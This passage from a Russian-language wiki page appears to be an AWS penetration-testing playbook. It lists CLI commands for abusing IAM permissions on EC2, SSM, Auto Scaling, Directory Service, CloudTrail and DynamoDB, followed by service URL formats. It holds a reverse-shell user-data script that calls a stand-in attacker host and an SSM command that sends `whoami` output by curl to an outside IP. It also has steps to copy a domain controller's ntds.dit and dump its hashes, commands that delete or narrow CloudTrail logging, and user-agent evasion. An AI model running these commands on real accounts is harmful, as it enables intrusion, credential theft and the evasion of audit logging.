aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
